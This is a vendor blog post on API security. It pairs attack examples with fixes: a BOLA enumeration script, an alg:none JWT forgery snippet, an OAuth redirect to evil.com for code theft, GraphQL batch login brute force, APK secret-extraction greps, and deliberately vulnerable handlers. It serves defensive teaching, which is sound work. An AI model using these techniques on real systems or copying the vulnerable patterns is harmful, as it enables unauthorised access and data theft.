DEV Community

Cover image for API Security in 2026: The Attack Surface Your Pentest Is Probably Missing
Natasha Joshi
Natasha Joshi

Posted on

API Security in 2026: The Attack Surface Your Pentest Is Probably Missing

By the Security Research Team at Precogs.ai — Published March 2026

"APIs are the new perimeter. Except unlike the old perimeter, most organizations have no idea how many they're running, who's calling them, or what data they're exposing."
— Red Team Lead, Fortune 100 Financial Institution

The attack surface has shifted. Dramatically. In 2026, API traffic accounts for the majority of all internet communication — and it is the primary vector for data breaches across every sector. Not phishing. Not ransomware. APIs.

The Optus breach: API. The Twitter 5.4 million user scrape: API. The Peloton user exposure: API. The T-Mobile 37 million record exfiltration: API. Each of these was not a sophisticated nation-state operation. Each was an attacker who found an API endpoint, understood what it did, and exploited a logic flaw or access control gap that no traditional scanner would have caught.

This is the blog for the people who find those flaws — security engineers and penetration testers — and for the engineering leaders who are starting to realize that their API security posture is not where it needs to be.

We're going to go deep. Real attack techniques, real payloads, real business impact numbers. And we're going to show you how Precogs.ai is changing what it means to secure an API — not just for the point-in-time pentest engagement, but as a continuous, intelligent property of your production environment.


Table of Contents

  1. The API Explosion and Why It's a Security Disaster
  2. BOLA / IDOR: Still the Highest-Impact API Vulnerability
  3. Broken Function-Level Authorization: The Vertical Escalation
  4. Mass Assignment: When Your ORM Becomes a Backdoor
  5. Excessive Data Exposure: The API That Says Too Much
  6. Rate Limiting and Resource Exhaustion Attacks
  7. GraphQL-Specific Attack Surfaces
  8. API Key Mismanagement: Credentials in the Open
  9. Webhook Abuse and Callback Forgery
  10. Shadow APIs and Zombie Endpoints: The Inventory Problem
  11. JWT and OAuth Misconfigurations in API Authentication
  12. Business Logic Vulnerabilities: What Scanners Will Never Find
  13. How Precogs.ai Approaches API Security Differently
  14. Conclusion: From Point-in-Time Testing to Continuous API Intelligence

1. The API Explosion and Why It's a Security Disaster

The average enterprise runs over 900 APIs. The median large organization has no complete inventory of them. Development teams ship new endpoints daily. Microservices spawn internal APIs that are never formally documented. Mobile applications call undocumented backend endpoints. Third-party integrations introduce API surfaces you didn't build and can't fully audit.

This is not a technology problem. It is an organizational and architectural problem — and traditional security tooling was not designed for it.

1.1 Why APIs Break Differently Than Web Apps

Classic web application vulnerabilities — XSS, CSRF, clickjacking — are largely browser-mediated. APIs communicate machine-to-machine. There's no browser enforcing same-origin policy, no CORS to misconfigure, no rendered DOM to inject into. The attack surface is entirely logical: access control, data filtering, rate limiting, authentication, and business logic.

This means:

  • Automated scanners find very little. A scanner that sends <script>alert(1)</script> into a JSON API field will get a 400 and move on. The real vulnerabilities are in what the API does with valid, correctly-typed input.
  • Pentesters must understand the application, not just the protocol. The most valuable API findings come from reading OpenAPI specs, reverse-engineering mobile apps, tracing authentication flows, and understanding the business domain.
  • Defense requires behavioral intelligence, not just signature matching. An attacker making 10,000 sequential requests to /api/users/{id} looks like normal API traffic at the packet level. It requires semantic understanding to identify it as BOLA enumeration.

1.2 The Business Impact Reality Check

Let's put numbers to this, because the case for investment is compelling:

  • The average cost of an API-related data breach in 2025 was $4.8M — above the overall average breach cost
  • Organizations that suffered an API breach took an average of 287 days to identify and contain it
  • In regulated industries (financial services, healthcare), API breaches carry additional regulatory exposure: GDPR fines, HIPAA penalties, PCI-DSS audit failures
  • API downtime from DDoS or resource exhaustion attacks costs SaaS companies an average of $300K per hour in lost revenue and support costs

These are not theoretical risks. They are line items that CFOs, boards, and regulators are increasingly asking about.


2. BOLA / IDOR: Still the Highest-Impact API Vulnerability

Broken Object Level Authorization — BOLA, or IDOR (Insecure Direct Object Reference) in traditional web security parlance — is the #1 API vulnerability in the OWASP API Security Top 10, every edition since its publication. It is responsible for the majority of large-scale API data breaches. It is also the most consistently underestimated vulnerability in pentest scopes.

2.1 The Anatomy of a BOLA Vulnerability

GET /api/v1/accounts/38291/transactions HTTP/1.1
Authorization: Bearer eyJhbGciOiJIUzI1NiJ9...
Host: api.fintech-app.com
Enter fullscreen mode Exit fullscreen mode

The application authenticates the user via the JWT. But does it check that account 38291 belongs to this user? If not, an attacker who changes 38291 to 38292, 38293, and so on can enumerate every account's transaction history.

# VULNERABLE: Authentication without authorization
@app.route('/api/v1/accounts/<int:account_id>/transactions')
@require_jwt
def get_transactions(account_id):
    transactions = Transaction.query.filter_by(account_id=account_id).all()
    return jsonify([t.to_dict() for t in transactions])
Enter fullscreen mode Exit fullscreen mode
# SECURE: Authentication + object-level authorization
@app.route('/api/v1/accounts/<int:account_id>/transactions')
@require_jwt
def get_transactions(account_id):
    # Verify the authenticated user owns this account
    account = Account.query.filter_by(
        id=account_id,
        user_id=g.current_user.id  # Enforce ownership
    ).first_or_404()

    transactions = Transaction.query.filter_by(account_id=account.id).all()
    return jsonify([t.to_dict() for t in transactions])
Enter fullscreen mode Exit fullscreen mode

2.2 BOLA at Scale: The Enumeration Problem

The real damage from BOLA isn't typically one attacker manually changing IDs. It's automated enumeration — scripted iteration across ID ranges to harvest data at scale.

# Attacker enumeration script (simplified for illustration)
import httpx
import asyncio

async def enumerate_accounts(token: str, start: int, end: int):
    async with httpx.AsyncClient() as client:
        tasks = [
            client.get(
                f"https://api.target.com/accounts/{i}/transactions",
                headers={"Authorization": f"Bearer {token}"}
            )
            for i in range(start, end)
        ]
        responses = await asyncio.gather(*tasks, return_exceptions=True)

        return [
            (i, r.json()) 
            for i, r in zip(range(start, end), responses)
            if not isinstance(r, Exception) and r.status_code == 200
        ]
Enter fullscreen mode Exit fullscreen mode

With sequential integer IDs, an attacker can harvest millions of records in hours. Even with UUIDs, if IDs are leaked through other endpoints (search results, notification payloads, audit logs), enumeration is still viable.

2.3 Pentest Methodology for BOLA

When assessing an API for BOLA, the methodology should cover:

  1. Create two accounts (Account A and Account B). Collect all object IDs exposed to Account A. Attempt to access each using Account B's token.
  2. Test every HTTP verb — BOLA often exists on GET but is fixed, while PUT, DELETE, or PATCH on the same resource is still vulnerable.
  3. Check nested resources/api/orders/123/items/456 — authorization may be checked at the order level but not validated at the item level.
  4. Test unauthenticated access — some endpoints that should require auth don't. Try removing the Authorization header entirely.
  5. Test with an expired or revoked token — some implementations only check token signature, not revocation status.

Precogs.ai insight: During code-level analysis, Precogs.ai maps every API endpoint to its authorization implementation and flags endpoints where object retrieval queries are not scoped to the authenticated user's identity. This catches BOLA vulnerabilities in code review — before they ever reach a pentest scope.


3. Broken Function-Level Authorization: The Vertical Escalation

Where BOLA is horizontal (user A accessing user B's data), Broken Function-Level Authorization (BFLA) is vertical — a regular user accessing functions reserved for admins.

3.1 The Hidden Admin API

# Standard user flow — documented, tested, monitored
POST /api/v1/users/me/profile HTTP/1.1

# Admin endpoint — undocumented, untested, forgotten
POST /api/v1/admin/users/38291/role HTTP/1.1
{"role": "admin"}
Enter fullscreen mode Exit fullscreen mode

Admin endpoints are frequently:

  • Not documented in public API specs
  • Not included in standard pentest scopes
  • Inadequately protected because developers assume "nobody knows about this"
  • Accessible using standard user tokens because the middleware assumes routing handles authorization
// VULNERABLE: Authorization checked by route prefix only
app.use('/api/v1/admin', requireAdmin);   // Middleware on /admin routes

// But this admin function is accidentally mounted at a non-admin path:
app.post('/api/v1/users/:id/role', updateUserRole);   // No admin check here
Enter fullscreen mode Exit fullscreen mode
// SECURE: Function-level authorization at the handler, not just the route
app.post('/api/v1/users/:id/role', authenticate, requireRole('admin'), updateUserRole);
Enter fullscreen mode Exit fullscreen mode

3.2 Finding BFLA in Practice

The most reliable source of hidden admin API endpoints is the application itself:

  • JavaScript bundle analysis — Webpack bundles often contain route definitions for the admin panel, even when the admin panel is a separate deployment
  • Mobile app reverse engineering — APK decompilation (jadx, apktool) frequently reveals API endpoints not in any documentation
  • OpenAPI/Swagger spec — even when "internal" endpoints are stripped, version history in git or cached specs often reveal them
  • Error messages — a 403 is more informative than a 404; it tells you the endpoint exists

4. Mass Assignment: When Your ORM Becomes a Backdoor

Mass assignment vulnerabilities occur when an API endpoint automatically binds request body fields to model properties without explicitly specifying which fields are allowed to be updated.

4.1 The Classic Mass Assignment Attack

// Intended: User updates their display name
// Request body: { "name": "John Doe" }
// What the attacker sends: { "name": "John Doe", "role": "admin", "verified": true, "credits": 999999 }

app.put('/api/v1/users/me', authenticate, async (req, res) => {
  // DANGEROUS: Spreads entire request body onto the user object
  await User.findByIdAndUpdate(req.user.id, req.body);
  res.json({ success: true });
});
Enter fullscreen mode Exit fullscreen mode
// SECURE: Explicit allowlist of updatable fields
const ALLOWED_USER_FIELDS = ['name', 'bio', 'avatar_url', 'timezone'];

app.put('/api/v1/users/me', authenticate, async (req, res) => {
  const updates = pick(req.body, ALLOWED_USER_FIELDS);  // lodash pick
  await User.findByIdAndUpdate(req.user.id, updates);
  res.json({ success: true });
});
Enter fullscreen mode Exit fullscreen mode

4.2 Mass Assignment in Mongoose

// DANGEROUS: No schema-level protection
const UserSchema = new mongoose.Schema({
  name: String,
  email: String,
  role: { type: String, default: 'user' },     // Should never be user-settable
  isVerified: { type: Boolean, default: false } // Should never be user-settable
});
Enter fullscreen mode Exit fullscreen mode
// SAFER: Use select: false for sensitive fields + application-level allowlisting
const UserSchema = new mongoose.Schema({
  name: String,
  email: String,
  role: { type: String, default: 'user', select: false },
  isVerified: { type: Boolean, default: false, select: false }
});
Enter fullscreen mode Exit fullscreen mode

4.3 Business Impact

Mass assignment vulnerabilities have led to some notable real-world incidents. GitHub had a mass assignment vulnerability in 2012 that allowed a researcher to add his SSH key to any repository — including the Rails repository itself. The attacker (a white-hat researcher) demonstrated the issue by pushing a commit. The business impact of a malicious exploitation would have been catastrophic: arbitrary code execution on any repository's CI/CD pipeline.

In SaaS applications, mass assignment typically manifests as users elevating their own subscription tier, disabling billing, granting themselves admin roles, or accessing premium features without payment — direct revenue impact that is often difficult to detect without careful audit logging.


5. Excessive Data Exposure: The API That Says Too Much

REST APIs frequently return far more data than the client needs, relying on the frontend to filter what's displayed. This is a pattern that's convenient for developers and catastrophic for security.

5.1 The Over-Disclosure Pattern

# DANGEROUS: Serializing the full model object
class UserSerializer(ModelSerializer):
    class Meta:
        model = User
        fields = '__all__'   # Includes password_hash, ssn, internal_flags, admin_notes...
Enter fullscreen mode Exit fullscreen mode
# SECURE: Explicit field declaration per context
class UserPublicSerializer(ModelSerializer):
    class Meta:
        model = User
        fields = ['id', 'display_name', 'avatar_url', 'member_since']

class UserPrivateSerializer(ModelSerializer):
    class Meta:
        model = User
        fields = ['id', 'display_name', 'email', 'avatar_url', 'member_since', 'preferences']
Enter fullscreen mode Exit fullscreen mode

5.2 The Pentest Approach

When testing for excessive data exposure, go beyond looking at the response fields the UI displays. Look at the raw API response:

# Compare what the UI shows vs. what the API returns
curl -s https://api.target.com/v1/users/me \
  -H "Authorization: Bearer $TOKEN" | jq .
Enter fullscreen mode Exit fullscreen mode

Common over-exposed fields found in real engagements:

  • Internal database IDs and foreign key relationships (enabling enumeration)
  • Password hashes (even bcrypt hashes enable offline cracking)
  • Social Security Numbers, date of birth, full credit card details
  • Internal admin flags (is_beta_tester, is_flagged_for_fraud, internal_notes)
  • Other users' data embedded in aggregated responses
  • Infrastructure details (server hostnames, internal IP addresses, stack traces)
// Real-world style over-exposure example
{
  "id": "usr_38291",
  "name": "Jane Smith",
  "email": "jane@example.com",
  "password_hash": "$2b$12$LQv3c1yqBWVHxkd0LHAkCOYz...",
  "ssn_last4": "4821",
  "ssn_full": "XXX-XX-4821",
  "internal_fraud_score": 0.12,
  "is_on_watchlist": false,
  "stripe_customer_id": "cus_NffrFeUfNV2Hib",
  "admin_notes": "Requested account review 2024-11-03"
}
Enter fullscreen mode Exit fullscreen mode

Precogs.ai insight: Our platform performs response schema analysis against OpenAPI specifications and actual runtime behavior, flagging endpoints where response payloads contain fields that are not declared in the spec, exceed the data classification level appropriate for the endpoint's access control scope, or include fields matching patterns for sensitive data (hashes, government IDs, payment data).


6. Rate Limiting and Resource Exhaustion Attacks

APIs that lack proper rate limiting are vulnerable to a range of attacks — from brute force credential attacks to application-layer DDoS to enumeration at scale.

6.1 Credential Stuffing via Unenforced Rate Limits

POST /api/v1/auth/login HTTP/1.1
Content-Type: application/json

{"email": "victim@example.com", "password": "Password123"}
Enter fullscreen mode Exit fullscreen mode

With no rate limiting, an attacker can attempt millions of credential combinations. The 2024 Snowflake customer breach — affecting Ticketmaster, Santander, and others — was facilitated partly by credential stuffing against APIs with insufficient rate limiting.

Effective rate limiting must be:

  • IP-based — but aware that attackers use residential proxy networks with millions of IPs
  • Account-based — lock or throttle the account after N failures, regardless of source IP
  • Action-based — different limits for login (strict) vs. read operations (lenient)
  • Globally consistent — enforced at the API gateway level, not per-instance, to prevent bypass by targeting specific backend nodes
# Redis-based sliding window rate limiter
import redis
import time

r = redis.Redis()

def check_rate_limit(identifier: str, limit: int, window: int) -> bool:
    """
    Sliding window rate limiter.
    identifier: e.g. f"login:{ip}" or f"login:account:{email}"
    limit: max requests per window
    window: window size in seconds
    """
    now = time.time()
    key = f"ratelimit:{identifier}"

    pipe = r.pipeline()
    pipe.zremrangebyscore(key, 0, now - window)      # Remove old entries
    pipe.zadd(key, {str(now): now})                   # Add current request
    pipe.zcard(key)                                   # Count requests in window
    pipe.expire(key, window)                          # Set TTL
    results = pipe.execute()

    return results[2] <= limit   # True if within limit
Enter fullscreen mode Exit fullscreen mode

6.2 The SMS/OTP Enumeration Attack

A subtle resource exhaustion attack targets APIs that send SMS OTP codes:

POST /api/v1/auth/send-otp HTTP/1.1
{"phone": "+1-555-000-0001"}

POST /api/v1/auth/send-otp HTTP/1.1
{"phone": "+1-555-000-0002"}

# Repeated 100,000 times
Enter fullscreen mode Exit fullscreen mode

Without rate limiting on OTP send endpoints, an attacker can exhaust your SMS budget, deliver unwanted messages to end users, and potentially use your API as a spam platform. At $0.0075 per SMS, 100,000 requests costs $750 — and that's before considering the reputational damage.


7. GraphQL-Specific Attack Surfaces

GraphQL has become the API technology of choice for complex frontend applications. Its flexibility — allowing clients to request exactly the data they need — introduces a unique set of security challenges that most teams are not adequately testing for.

7.1 Introspection: The Gift to Attackers

By default, GraphQL endpoints expose a full schema via introspection queries. An attacker can map your entire data model, all available queries and mutations, all types and their fields — in a single request.

# Attacker's first move against any GraphQL endpoint
query IntrospectionQuery {
  __schema {
    queryType { name }
    mutationType { name }
    types {
      name
      fields {
        name
        type { name kind }
        args { name type { name } }
      }
    }
  }
}
Enter fullscreen mode Exit fullscreen mode

This is legitimate functionality — but it should be disabled in production and restricted to internal tooling.

// Disable introspection in production (Apollo Server)
const server = new ApolloServer({
  typeDefs,
  resolvers,
  introspection: process.env.NODE_ENV !== 'production',
});
Enter fullscreen mode Exit fullscreen mode

7.2 Query Depth and Complexity Attacks

GraphQL's nested query capability enables a specific DoS attack — the deeply nested query:

# Attacker query designed to cause exponential resolver execution
query {
  user(id: "1") {
    friends {
      friends {
        friends {
          friends {
            friends {
              friends { id name email }
            }
          }
        }
      }
    }
  }
}
Enter fullscreen mode Exit fullscreen mode

Each level of nesting multiplies resolver calls. A depth-10 query against a social graph resolver can trigger millions of database calls from a single HTTP request.

// Protect with query depth limiting and complexity analysis
import depthLimit from 'graphql-depth-limit';
import { createComplexityLimitRule } from 'graphql-validation-complexity';

const server = new ApolloServer({
  typeDefs,
  resolvers,
  validationRules: [
    depthLimit(5),                              // Max query depth
    createComplexityLimitRule(1000),            // Max complexity score
  ]
});
Enter fullscreen mode Exit fullscreen mode

7.3 Batching Attacks

GraphQL's batching feature — allowing multiple operations in a single request — can be abused to bypass rate limiting:

// Single HTTP request, 500 login attempts
[
  {"query": "mutation { login(email: \"victim@example.com\", password: \"Password1\") { token } }"},
  {"query": "mutation { login(email: \"victim@example.com\", password: \"Password2\") { token } }"},
  ...500 operations...
]
Enter fullscreen mode Exit fullscreen mode

Rate limiters that count HTTP requests will see one request. The application processes 500 login attempts.

// Disable or limit batching
const server = new ApolloServer({
  typeDefs,
  resolvers,
  plugins: [
    {
      requestDidStart: async () => ({
        didResolveOperation: async ({ request }) => {
          if (Array.isArray(request.body) && request.body.length > 10) {
            throw new Error('Batch size exceeds limit');
          }
        }
      })
    }
  ]
});
Enter fullscreen mode Exit fullscreen mode

8. API Key Mismanagement: Credentials in the Open

API keys are the authentication mechanism for machine-to-machine communication. They are also consistently mishandled — hardcoded into source code, committed to repositories, embedded in mobile apps, logged in plain text, and exposed in JavaScript bundles.

8.1 The GitHub Secret Scanning Problem

Studies consistently find that tens of thousands of API keys are committed to public GitHub repositories daily. The window between commit and exploitation is often under 4 minutes — automated bots scan GitHub's public event stream in real time.

# DANGEROUS: Hardcoded credentials
STRIPE_SECRET_KEY = "sk_live_4eC39HqLyjWDarjtT1zdp7dc"
OPENAI_API_KEY = "sk-proj-aBcDeFgHiJkLmNoPqRsTuVwXyZ"
DATABASE_URL = "postgresql://admin:SuperSecret123@prod-db.internal:5432/app"
Enter fullscreen mode Exit fullscreen mode
# SAFE: Environment variable injection
import os

STRIPE_SECRET_KEY = os.environ["STRIPE_SECRET_KEY"]
OPENAI_API_KEY = os.environ["OPENAI_API_KEY"]
DATABASE_URL = os.environ["DATABASE_URL"]
Enter fullscreen mode Exit fullscreen mode

8.2 API Keys in Mobile Applications

Mobile applications frequently contain embedded API keys that are extractable through static analysis:

# Extract strings from Android APK
apktool d target-app.apk -o decompiled/
grep -r "api_key\|apiKey\|API_KEY\|Bearer\|sk_live\|AKIA" decompiled/

# For iOS IPA files
unzip target-app.ipa -d extracted/
strings extracted/Payload/TargetApp.app/TargetApp | grep -E "(sk_|pk_|AKIA|Bearer)"
Enter fullscreen mode Exit fullscreen mode

Keys found through mobile reverse engineering should be treated as fully compromised — they are accessible to any user who downloads the application.

8.3 The Principle of Least Privilege for API Keys

Even when keys are properly secured, they often have excessive permissions. An API key used for a read-only analytics integration should not have write access to your database. A webhook verification key should not double as your admin API key.

# Key rotation and scoping best practices
# 1. Separate keys per integration
ANALYTICS_READ_KEY = os.environ["ANALYTICS_READ_KEY"]     # Read-only scope
PAYMENT_WRITE_KEY = os.environ["PAYMENT_WRITE_KEY"]        # Payment scope only
ADMIN_KEY = os.environ["ADMIN_KEY"]                        # Admin scope, stored in HSM

# 2. Implement key rotation
def rotate_api_key(key_id: str) -> dict:
    new_key = secrets.token_urlsafe(32)
    # Atomically update key with overlap window for zero-downtime rotation
    store_key_with_overlap(key_id, new_key, overlap_seconds=300)
    return {"key_id": key_id, "new_key": new_key, "rotation_time": datetime.utcnow()}
Enter fullscreen mode Exit fullscreen mode

9. Webhook Abuse and Callback Forgery

Webhooks — HTTP callbacks that notify your system of events in third-party platforms — introduce a reverse API attack surface. Your application is now receiving and trusting HTTP requests from external sources.

9.1 The Unverified Webhook Problem

# DANGEROUS: Processing webhook payload without signature verification
@app.route('/webhooks/payment', methods=['POST'])
def handle_payment_webhook():
    payload = request.json

    if payload['event'] == 'payment.completed':
        # Attacker sends fake payment.completed event and gets goods for free
        order = Order.query.get(payload['order_id'])
        order.status = 'paid'
        db.session.commit()
        fulfill_order(order)

    return '', 200
Enter fullscreen mode Exit fullscreen mode
# SAFE: Verify webhook signature using HMAC
import hmac
import hashlib

WEBHOOK_SECRET = os.environ["PAYMENT_WEBHOOK_SECRET"]

@app.route('/webhooks/payment', methods=['POST'])
def handle_payment_webhook():
    signature = request.headers.get('X-Signature-256')
    raw_body = request.get_data()

    expected = hmac.new(
        WEBHOOK_SECRET.encode(),
        raw_body,
        hashlib.sha256
    ).hexdigest()

    if not hmac.compare_digest(f"sha256={expected}", signature):
        return '', 401   # Reject unverified webhooks

    payload = request.json
    # Now safe to process...
Enter fullscreen mode Exit fullscreen mode

9.2 Replay Attacks on Webhooks

Even with signature verification, an attacker who intercepts a valid signed webhook can replay it:

# SAFE: Include timestamp in signature verification to prevent replay attacks
@app.route('/webhooks/payment', methods=['POST'])
def handle_payment_webhook():
    timestamp = request.headers.get('X-Timestamp')
    signature = request.headers.get('X-Signature-256')

    # Reject webhooks older than 5 minutes
    if abs(time.time() - int(timestamp)) > 300:
        return '', 400

    # Include timestamp in signature computation (as the provider should)
    signed_payload = f"{timestamp}.{request.get_data(as_text=True)}"
    expected = hmac.new(WEBHOOK_SECRET.encode(), signed_payload.encode(), hashlib.sha256).hexdigest()

    if not hmac.compare_digest(f"sha256={expected}", signature):
        return '', 401
Enter fullscreen mode Exit fullscreen mode

10. Shadow APIs and Zombie Endpoints: The Inventory Problem

One of the most underappreciated challenges in API security is the inventory problem: you cannot secure what you don't know exists.

10.1 What Are Shadow and Zombie APIs?

  • Shadow APIs: Endpoints that exist in production but are not documented, not in any API gateway inventory, and not monitored. Often created during rapid development cycles, testing, or by developers who bypassed the standard deployment process.
  • Zombie APIs: Endpoints that were once official but are no longer maintained — deprecated versions, legacy integrations, removed features whose backend routes were never deleted.

Both categories share a critical characteristic: they receive no security attention. They are not updated with security patches. They are not covered by WAF rules. They are not monitored for anomalous traffic. And they often run older, more vulnerable code.

10.2 Finding Shadow APIs in Pentests

# 1. Enumerate from JavaScript bundles
curl -s https://target.com | grep -oE '"/api/[^"]*"' | sort -u

# 2. Extract from mobile app traffic (proxy all app traffic through Burp)
# Review Burp target tree for all observed API paths

# 3. Wordlist-based discovery
ffuf -u https://api.target.com/FUZZ \
  -w /wordlists/api-endpoints.txt \
  -mc 200,201,401,403 \    # Include auth-protected responses
  -recursion \
  -recursion-depth 3

# 4. Check common versioning patterns
for version in v1 v2 v3 v4 beta internal admin legacy; do
  curl -s -o /dev/null -w "%{http_code}" \
    "https://api.target.com/$version/users"
done
Enter fullscreen mode Exit fullscreen mode

10.3 The Business Impact of Shadow APIs

In a 2024 red team engagement documented by the Precogs.ai research team, a shadow API endpoint — a /api/internal/export route left over from a data migration 18 months prior — was found to accept unauthenticated requests and return a full database export in CSV format. The endpoint had never been documented, never appeared in any security scan, and had no authentication because it was originally designed for internal one-time use.

The data exported included 2.3 million user records with PII. The client had no knowledge this endpoint existed until the engagement.

Precogs.ai performs continuous API discovery — analyzing your codebase, API gateway configurations, and traffic patterns to build a comprehensive, continuously updated inventory of every API endpoint your applications expose. Shadow and zombie endpoints are surfaced automatically, compared against your documented API spec, and flagged for review.


11. JWT and OAuth Misconfigurations in API Authentication

Authentication is the front door of your API. The most sophisticated BOLA finding is irrelevant if an attacker can forge authentication tokens. JWT and OAuth — the dominant standards for API authentication — have well-documented implementation pitfalls that continue to appear in production systems.

11.1 The none Algorithm Attack

# A JWT with alg: none — no signature required
import base64, json

header = base64.urlsafe_b64encode(json.dumps({"alg": "none", "typ": "JWT"}).encode()).rstrip(b'=')
payload = base64.urlsafe_b64encode(json.dumps({"user_id": 1, "role": "admin"}).encode()).rstrip(b'=')
token = f"{header.decode()}.{payload.decode()}."  # Empty signature

# If the server accepts this, authentication is completely broken
Enter fullscreen mode Exit fullscreen mode
# SECURE: Strict algorithm allowlisting in JWT verification
import jwt

def verify_token(token: str) -> dict:
    try:
        return jwt.decode(
            token,
            SECRET_KEY,
            algorithms=["HS256"],   # NEVER include "none"
            options={"require": ["exp", "iat", "sub"]}
        )
    except jwt.ExpiredSignatureError:
        raise AuthenticationError("Token expired")
    except jwt.InvalidTokenError:
        raise AuthenticationError("Invalid token")
Enter fullscreen mode Exit fullscreen mode

11.2 OAuth Authorization Code Interception

# OAuth flow with a redirect_uri vulnerability
# Legitimate flow:
GET /oauth/authorize?client_id=app&redirect_uri=https://app.example.com/callback&state=random

# Attacker registers redirect_uri=https://evil.com/callback or exploits open redirect:
GET /oauth/authorize?client_id=app&redirect_uri=https://app.example.com/redirect?url=https://evil.com&state=attacker

# Authorization code is delivered to attacker's server → token theft
Enter fullscreen mode Exit fullscreen mode
# SECURE: Strict redirect_uri validation
ALLOWED_REDIRECT_URIS = {
    "app_client_id": ["https://app.example.com/oauth/callback"]
}

def validate_redirect_uri(client_id: str, redirect_uri: str) -> bool:
    allowed = ALLOWED_REDIRECT_URIS.get(client_id, [])
    return redirect_uri in allowed  # Exact match only, no prefix matching
Enter fullscreen mode Exit fullscreen mode

11.3 Token Scope Escalation

# Requesting a token with minimal scope
POST /oauth/token
grant_type=client_credentials&scope=read:users

# Using that token to call endpoints requiring broader scope
DELETE /api/v1/users/38291
Authorization: Bearer <token_with_read_scope>
Enter fullscreen mode Exit fullscreen mode

If scope enforcement is not implemented at the endpoint level — only at token issuance — an attacker can use a limited-scope token to perform privileged operations.


12. Business Logic Vulnerabilities: What Scanners Will Never Find

Business logic vulnerabilities are the highest-value findings in API security engagements. They cannot be found by automated scanners. They require understanding the application's domain, intended behavior, and the gap between what the API allows and what it should allow.

12.1 Price Manipulation via API Parameter Tampering

# Legitimate checkout API call
POST /api/v1/checkout HTTP/1.1
{
  "items": [{"product_id": "prod_abc", "quantity": 2}],
  "coupon": "SAVE10"
}

# Attacker's manipulated call
POST /api/v1/checkout HTTP/1.1
{
  "items": [{"product_id": "prod_abc", "quantity": 2, "unit_price": 0.01}],
  "discount_percentage": 99.9,
  "coupon": "SAVE10"
}
Enter fullscreen mode Exit fullscreen mode

If the server accepts client-supplied pricing parameters instead of looking them up from a trusted source, an attacker can purchase items for near-zero cost.

12.2 Workflow State Bypass

Many APIs implement multi-step workflows — checkout flows, KYC verification, onboarding sequences. Business logic vulnerabilities arise when steps can be skipped by calling later-stage API endpoints directly:

# Intended flow: Step 1 → Step 2 → Step 3 → Complete
# Attacker skips to Step 3 directly:
POST /api/v1/kyc/complete
Authorization: Bearer <token_that_never_completed_step1_or_step2>
{"status": "verified"}
Enter fullscreen mode Exit fullscreen mode

12.3 The Pentest Mindset for Business Logic

Finding business logic vulnerabilities requires a methodology that goes beyond request fuzzing:

  1. Map the complete intended user journey — every step, every transition, every terminal state
  2. For each step, ask: what happens if I call the next endpoint without completing this one?
  3. Identify trust boundaries: which values come from the client? Which from the server? Which should only come from the server?
  4. Test negative quantities, zero values, and boundary conditions on every numeric parameter
  5. Test concurrent requests on stateful operations — race conditions are a class of business logic vulnerability
  6. Think like a motivated adversary with a financial incentive — what's the direct profit model for exploiting this?

Precogs.ai combines code-level analysis with API behavioral modeling to identify business logic vulnerabilities at the implementation level — tracing state machine transitions, identifying endpoints that accept client-supplied values that should be server-authoritative, and flagging missing state validation in workflow APIs.


13. How Precogs.ai Approaches API Security Differently

Security engineers and pentesters understand the difference between running a scanner and actually assessing security. A scanner finds known patterns. A skilled assessor finds intent — gaps between what the system does and what it should do. Precogs.ai is built with that distinction at its core.

13.1 API-First Code Analysis

Precogs.ai parses your codebase to construct a complete API model: every endpoint, its HTTP method, its path parameters, query parameters, request body schema, authentication requirements, and authorization logic. This model is then analyzed for:

  • Missing authentication — endpoints reachable without a valid token
  • Missing authorization — authenticated endpoints without object-level ownership checks (BOLA)
  • Inconsistent authorization — endpoints where authorization is applied on some HTTP verbs but not others
  • Schema trust violations — fields that should be server-authoritative but are accepted from client input (mass assignment, price manipulation)
  • Excessive response fields — response serializers that include fields exceeding the declared data classification for the endpoint

13.2 OpenAPI Spec Drift Detection

Your OpenAPI specification is a contract. Precogs.ai continuously compares your spec against your actual implementation and flags drift — endpoints that exist in code but not in the spec (shadow APIs), endpoints in the spec that no longer exist in code (zombie spec entries), and parameter schemas that don't match implementation.

# Your OpenAPI spec says:
paths:
  /users/{id}:
    get:
      security:
        - bearerAuth: []
      parameters:
        - name: id
          in: path
          required: true
          schema:
            type: string
            format: uuid

# Precogs.ai finds in your codebase:
# - /users/{id} also responds to DELETE without any security scheme
# - /api/internal/users/{id} exists in code but is absent from the spec entirely
Enter fullscreen mode Exit fullscreen mode

13.3 Continuous Runtime API Monitoring

Beyond code analysis, Precogs.ai integrates with your API gateway or service mesh to analyze production traffic patterns — identifying:

  • Enumeration attempts: Sequential access to object IDs at abnormal rates
  • Abnormal parameter combinations: Requests with unusual field combinations that may indicate probing
  • Scope escalation patterns: Tokens being used to call endpoints outside their declared scope
  • Schema anomalies: Request bodies that include undeclared fields (mass assignment attempts)
  • Baseline deviation: Significant increases in error rates, response sizes, or request frequencies per endpoint

13.4 Pentest Augmentation

For security engineers and pentesters, Precogs.ai serves as a force multiplier:

  • Pre-engagement: Run a Precogs.ai scan to get a prioritized map of the highest-risk endpoints before opening Burp Suite. Stop wasting engagement time on endpoints that are provably safe.
  • During engagement: Cross-reference your findings with Precogs.ai's code-level analysis to understand why a vulnerability exists — not just that it does. This dramatically improves remediation guidance quality.
  • Post-engagement: Use Precogs.ai's continuous monitoring to verify that findings are remediated and stay remediated across future deployments.

14. Conclusion: From Point-in-Time Testing to Continuous API Intelligence

The annual penetration test is not a security strategy. It is a snapshot. A 5-day engagement against an application that ships 50 PRs per week will miss the vulnerability introduced on Day 6 of the sprint after the pentesters went home.

The organizations that are winning the API security battle are not the ones doing more penetration tests. They are the ones that have made security a continuous, measurable property of their API development process — built into the PR review cycle, enforced by automated analysis, and monitored in real-time in production.

Precogs.ai is the platform that makes this possible. Built by security engineers for security engineers. Designed to augment — not replace — the human expertise that finds the vulnerabilities that matter. And purpose-built to operate at the velocity of modern software development.

The attack surface is growing every day. The question is whether your visibility is growing with it.


Ready to Map Your API Attack Surface?

Request a demo at precogs.ai →

Precogs.ai integrates with GitHub, GitLab, Bitbucket, AWS API Gateway, Kong, and major API frameworks. Upload your OpenAPI spec and get a full BOLA/BFLA risk assessment in under 10 minutes.


© 2026 Precogs.ai — AI-Native Application Security. All rights reserved.

All attack techniques described in this article are presented for educational and defensive purposes. Always obtain explicit written authorization before testing any system you do not own.

Top comments (0)